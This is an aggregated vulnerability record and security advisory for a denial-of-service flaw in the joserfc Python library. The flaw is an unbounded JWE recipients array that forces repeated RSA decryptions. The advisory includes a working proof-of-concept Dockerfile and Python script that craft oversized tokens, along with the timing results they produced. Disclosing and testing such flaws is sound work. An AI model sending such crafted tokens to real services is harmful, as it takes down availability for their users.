{"id":"CVE-2026-119283","aliases":["DEBIAN-CVE-2026-119283","EUVD-2026-113392","GHSA-jpxq-7h8p-2q76","UBUNTU-CVE-2026-119283"],"status":"published","title":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00229,"percentile":0.13805,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-10-29T21:10:05Z","modified":"2026-11-05T04:42:51Z","fixes":[{"ecosystem":"PyPI","package":"joserfc","fixed_in":["1.7.5"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"joserfc","fixed_in":["1.7.5-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.5"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.8-1","1.7.0-1","1.7.1-1","1.7.2-1","1.7.3-1","1.7.4-1","1.7.5-1","1.7.7-1"]},{"source":"osv","ecosystem":"Debian:14","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.5-1"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.8-1","1.7.0-1","1.7.1-1","1.7.2-1","1.7.3-1","1.7.4-1"]},{"source":"osv","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.5"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.11.1","0.12.0","0.2.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.1.0","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.7","1.6.8","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.2-1","1.6.5-1","1.6.8-1","1.7.0-1","1.7.1-1","1.7.2-1","1.7.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.2-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.2-1"]}],"products":[{"vendor":"authlib","product":"joserfc"}],"references":[{"url":"https://github.com/authlib/joserfc/security/advisories/GHSA-jpxq-7h8p-2q76","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/authlib/joserfc/commit/d6dc8df6c7609277e741069d3733e43996c1cd17","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/authlib/joserfc/releases/tag/1.7.5","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119283","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jpxq-7h8p-2q76"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/119xxx/CVE-2026-119283.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-119283","tags":["advisory"]},{"url":"https://github.com/authlib/joserfc","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-119283","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-119283","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-119283","title":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T21:10:05.49Z","modified":"2026-10-30T17:08:26.483Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:20:10.143031Z"}],"euvd":[{"id":"EUVD-2026-113392","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T21:10:05Z","modified":"2026-10-30T17:08:26Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:59:05.567782Z"}],"ghsa":[{"id":"GHSA-jpxq-7h8p-2q76","title":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","description":"### Summary\n\n`joserfc.jwe.decrypt_json()`, the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for **every** recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, `verify_all_recipients=False`, does **not** reduce the CPU cost, since the decrypt loop attempts every recipient's `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).\n\n### Details\n\n`joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs **no validation whatsoever on the number of entries in the `recipients` array** of a JWE General JSON Serialization object.\n\nData flow (source → sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4):\n\n1. `src/joserfc/jwe.py:214` — public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.\n2. `src/joserfc/jwe.py:238` — if `\"recipients\"` is present in the input dict, `extract_general_json(...)` is invoked.\n3. `src/joserfc/_rfc7516/json.py:84-86` — iterates `for item in data[\"recipients\"]:` and appends a `Recipient` object for every entry, with **no upper bound check** on `len(data[\"recipients\"])`:\n   ```python\n   for item in data[\"recipients\"]:\n       recipient = __extract_recipient(obj, item, registry)\n       obj.recipients.append(recipient)\n   ```\n4. `src/joserfc/jwe.py:252` — the private key is attached to every extracted recipient.\n5. `src/joserfc/_rfc7516/message.py:103-112` — `_perform_decrypt()` loops over **every** recipient in `obj.recipients` and calls `decrypt_recipient(...)` for each one, regardless of how many there are:\n   ```python\n   cek_set = set()\n   for recipient in obj.recipients:\n       headers = recipient.headers()\n       registry.check_header(headers, True)\n       alg = registry.get_alg(headers[\"alg\"])\n       try:\n           cek = decrypt_recipient(alg, enc, recipient, tag)\n           cek_set.add(cek)\n   ```\n6. `src/joserfc/_rfc7518/jwe_algs.py:74-83` — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation:\n   ```python\n   def decrypt_cek(self, recipient: Recipient[RSAKey]) -\u003e bytes:\n       key = recipient.recipient_key\n       assert key is not None\n       self.check_key_type(key)\n       op_key = key.get_op_key(\"decrypt\")\n       try:\n           assert recipient.encrypted_key is not None\n           cek = op_key.decrypt(recipient.encrypted_key, self.padding)\n   ```\n\nConfirmed by direct inspection of `src/joserfc/_rfc7516/registry.py`: size caps exist for `max_header_length`, `max_encrypted_key_length`, `max_iv_length`, `max_ciphertext_length`, and `max_auth_tag_length` (registry.py:52-62, 103-121), but no `max_recipients` (or equivalent) field or check exists anywhere in `registry.py`, `json.py`, or `jwe.py`.\n\nCritically, the loop in `message.py:103-112` calls `decrypt_recipient()` for **every** recipient unconditionally — this happens *before* `registry.verify_all_recipients` is ever consulted. Setting `verify_all_recipients=False` (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does **not** reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between `verify_all_recipients=True` and `verify_all_recipients=False` for the same recipient count.\n\n`decrypt_json()` is not a demo-only or admin-only code path: it is documented in `docs/guide/jwe.rst:156-182` as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 `p2c` iteration cap (`src/joserfc/_rfc7518/jwe_algs.py:237-239`) and the JWE compression \"zip bomb\" size cap (`src/joserfc/_rfc7518/jwe_zips.py:11,26-28`) — indicating the recipient-count case was simply missed from the same class of hardening.\n\n### PoC\n\nBoth static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.\n\n**Environment setup (Dockerfile):**\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n# Install joserfc from local source in editable/normal mode.\nRUN pip install --no-cache-dir /app/repo\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\nBuild and run (source is used unmodified; container has no network access):\n\n```bash\ndocker build -t joserfc-vuln001 -f vuln-001/Dockerfile .\ndocker run --rm --network none joserfc-vuln001 --recipients 1 500 1500\n```\n\n**PoC logic (`poc.py`):** generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (`GeneralJSONEncryption`) wrapping a small plaintext with an attacker-chosen number `n` of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API `joserfc.jwe.decrypt_json()` and measures wall-clock decrypt time, once with `verify_all_recipients=True` and once with `verify_all_recipients=False`.\n\n```python\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\"\n    return dt\n```\n\n**Observed results (Phase 2, inside the Docker container, `--network none`, unmodified source):**\n\n```\n[*] Attacker crafts General JSON JWE with recipients=1 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001\n[*] Attacker crafts General JSON JWE with recipients=500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651\n[*] Attacker crafts General JSON JWE with recipients=1500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875\n[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x\n[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with\n       no upper bound, and verify_all_recipients=False did not mitigate the cost.\n```\n\nIndependent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, `plaintext=b'hello'` was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.\n\nIn all cases, `verify_all_recipients=False` produced decrypt times statistically identical to `verify_all_recipients=True` for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.\n\n### Impact\n\nThis is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:\n\n- exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and\n- decrypts it using `joserfc.jwe.decrypt_json()` with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)\n\nis impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's `C:N/I:N/A:H`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 dynamic reproduction environment\n# Unbounded JWE General JSON \"recipients\" array causes CPU exhaustion via\n# repeated RSA private-key decryption in joserfc's decrypt_json().\n#\n# This image builds joserfc from the local repository clone (unmodified\n# source) and provides a Python environment to run poc.py against it.\n\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n\n# Install joserfc from local source in editable/normal mode.\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\n\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 dynamic PoC: Unbounded JWE General JSON \"recipients\" array causes\nCPU exhaustion (CWE-400) via repeated RSA private-key decryption inside\njoserfc's public parser API `joserfc.jwe.decrypt_json()`.\n\nData flow reproduced end to end (unmodified joserfc source):\n  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)\n  2. -\u003e extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)\n  3. -\u003e for item in data[\"recipients\"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)\n  4. -\u003e perform_decrypt() -\u003e _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)\n  5. -\u003e for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,\n        regardless of registry.verify_all_recipients\n  6. -\u003e RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)\n     performs one real RSA-2048 private-key decrypt operation per recipient.\n\nThis script:\n  (a) builds a victim RSA keypair (2048-bit, as an application would use for\n      RSA-OAEP JWE decryption),\n  (b) crafts a General JSON JWE token with an attacker-chosen number of\n      RSA-OAEP recipients, all wrapping the SAME small ciphertext,\n  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends\n      processing the token as the recipient count grows,\n  (d) shows that setting verify_all_recipients=False (the only public\n      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,\n      because the decrypt loop in message.py always attempts every\n      recipient's decrypt_cek() before that flag is ever consulted.\n\nDeterministic PASS criteria (printed as machine-readable JSON lines):\n  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.\n  - decrypt_seconds scales roughly linearly with recipient count (attacker\n    control over victim CPU cost, unbounded by the library).\n  - decrypt_seconds for verify_all_recipients=False is statistically the same\n    order of magnitude as verify_all_recipients=True for the same recipient\n    count (proving the documented mitigation does not help).\n\"\"\"\n\nimport argparse\nimport json\nimport time\n\nfrom joserfc import jwe, jwk\nfrom joserfc.jwe import GeneralJSONEncryption\nfrom joserfc.jwe import JWERegistry\n\n\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    \"\"\"Craft a General JSON JWE with n_recipients RSA-OAEP recipients,\n    all wrapping the same small plaintext. This is exactly the shape an\n    unauthenticated network attacker can send to any endpoint that calls\n    jwe.decrypt_json() on external input, as documented in\n    docs/guide/jwe.rst.\"\"\"\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\", f\"unexpected plaintext: {out.plaintext!r}\"\n    return dt\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 dynamic reproduction PoC\")\n    parser.add_argument(\n        \"--recipients\",\n        type=int,\n        nargs=\"+\",\n        default=[1, 500, 1500],\n        help=\"Recipient counts to test (attacker-controlled array length).\",\n    )\n    parser.add_argument(\n        \"--key-bits\",\n        type=int,\n        default=2048,\n        help=\"RSA key size of the victim's decryption key.\",\n    )\n    args = parser.parse_args()\n\n    print(f\"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...\")\n    private_key = jwk.RSAKey.generate_key(args.key_bits)\n    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))\n    print(\"[*] Victim private key generated locally; public key is what an attacker would normally have.\")\n\n    results = []\n    for n in args.recipients:\n        print(f\"\\n[*] Attacker crafts General JSON JWE with recipients={n} ...\")\n        token, size_bytes = build_token(public_key, n)\n\n        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)\n        print(\n            f\"    verify_all_recipients=True  -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}\"\n        )\n\n        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)\n        print(\n            f\"    verify_all_recipients=False -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} \"\n            f\"(documented 'mitigation' does NOT reduce CPU cost)\"\n        )\n\n        results.append(\n            {\n                \"recipients\": n,\n                \"size_bytes\": size_bytes,\n                \"decrypt_seconds_verify_all_true\": round(dt_verify_true, 3),\n                \"decrypt_seconds_verify_all_false\": round(dt_verify_false, 3),\n            }\n        )\n\n    print(\"\\n[RESULT_JSON] \" + json.dumps(results))\n\n    # Deterministic scaling check: CPU time for the largest recipient count\n    # must be substantially larger (order of magnitude, not noise) than for\n    # the smallest, proving attacker control over victim CPU consumption.\n    baseline = results[0][\"decrypt_seconds_verify_all_true\"]\n    worst = results[-1][\"decrypt_seconds_verify_all_true\"]\n    ratio = worst / baseline if baseline \u003e 0 else float(\"inf\")\n    recipient_ratio = results[-1][\"recipients\"] / results[0][\"recipients\"]\n    print(\n        f\"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x \"\n        f\"decrypt_time_ratio={ratio:.1f}x \"\n        f\"(unbounded recipients =\u003e unbounded RSA-decrypt CPU cost, no cap in registry.py)\"\n    )\n\n    if ratio \u003c recipient_ratio * 0.3:\n        print(\"[FAIL] Decrypt time did not scale with recipient count as expected.\")\n        raise SystemExit(1)\n\n    print(\"[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied \"\n          \"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-10-30T14:54:20Z","modified":"2026-10-30T14:54:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-119283","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T22:17:01.047Z","modified":"2026-10-30T17:17:17.74Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:13:04.940026Z"}],"osv":[{"id":"CVE-2026-119283","title":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T21:10:05.49Z","modified":"2026-11-01T02:31:03.612452264Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:57.008854Z"},{"id":"DEBIAN-CVE-2026-119283","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T22:17:01.047Z","modified":"2026-10-31T09:47:33.526385735Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:51.374409Z"},{"id":"GHSA-jpxq-7h8p-2q76","title":"joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption","description":"### Summary\n\n`joserfc.jwe.decrypt_json()`, the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for **every** recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, `verify_all_recipients=False`, does **not** reduce the CPU cost, since the decrypt loop attempts every recipient's `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).\n\n### Details\n\n`joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs **no validation whatsoever on the number of entries in the `recipients` array** of a JWE General JSON Serialization object.\n\nData flow (source → sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4):\n\n1. `src/joserfc/jwe.py:214` — public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.\n2. `src/joserfc/jwe.py:238` — if `\"recipients\"` is present in the input dict, `extract_general_json(...)` is invoked.\n3. `src/joserfc/_rfc7516/json.py:84-86` — iterates `for item in data[\"recipients\"]:` and appends a `Recipient` object for every entry, with **no upper bound check** on `len(data[\"recipients\"])`:\n   ```python\n   for item in data[\"recipients\"]:\n       recipient = __extract_recipient(obj, item, registry)\n       obj.recipients.append(recipient)\n   ```\n4. `src/joserfc/jwe.py:252` — the private key is attached to every extracted recipient.\n5. `src/joserfc/_rfc7516/message.py:103-112` — `_perform_decrypt()` loops over **every** recipient in `obj.recipients` and calls `decrypt_recipient(...)` for each one, regardless of how many there are:\n   ```python\n   cek_set = set()\n   for recipient in obj.recipients:\n       headers = recipient.headers()\n       registry.check_header(headers, True)\n       alg = registry.get_alg(headers[\"alg\"])\n       try:\n           cek = decrypt_recipient(alg, enc, recipient, tag)\n           cek_set.add(cek)\n   ```\n6. `src/joserfc/_rfc7518/jwe_algs.py:74-83` — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation:\n   ```python\n   def decrypt_cek(self, recipient: Recipient[RSAKey]) -\u003e bytes:\n       key = recipient.recipient_key\n       assert key is not None\n       self.check_key_type(key)\n       op_key = key.get_op_key(\"decrypt\")\n       try:\n           assert recipient.encrypted_key is not None\n           cek = op_key.decrypt(recipient.encrypted_key, self.padding)\n   ```\n\nConfirmed by direct inspection of `src/joserfc/_rfc7516/registry.py`: size caps exist for `max_header_length`, `max_encrypted_key_length`, `max_iv_length`, `max_ciphertext_length`, and `max_auth_tag_length` (registry.py:52-62, 103-121), but no `max_recipients` (or equivalent) field or check exists anywhere in `registry.py`, `json.py`, or `jwe.py`.\n\nCritically, the loop in `message.py:103-112` calls `decrypt_recipient()` for **every** recipient unconditionally — this happens *before* `registry.verify_all_recipients` is ever consulted. Setting `verify_all_recipients=False` (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does **not** reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between `verify_all_recipients=True` and `verify_all_recipients=False` for the same recipient count.\n\n`decrypt_json()` is not a demo-only or admin-only code path: it is documented in `docs/guide/jwe.rst:156-182` as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 `p2c` iteration cap (`src/joserfc/_rfc7518/jwe_algs.py:237-239`) and the JWE compression \"zip bomb\" size cap (`src/joserfc/_rfc7518/jwe_zips.py:11,26-28`) — indicating the recipient-count case was simply missed from the same class of hardening.\n\n### PoC\n\nBoth static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.\n\n**Environment setup (Dockerfile):**\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n# Install joserfc from local source in editable/normal 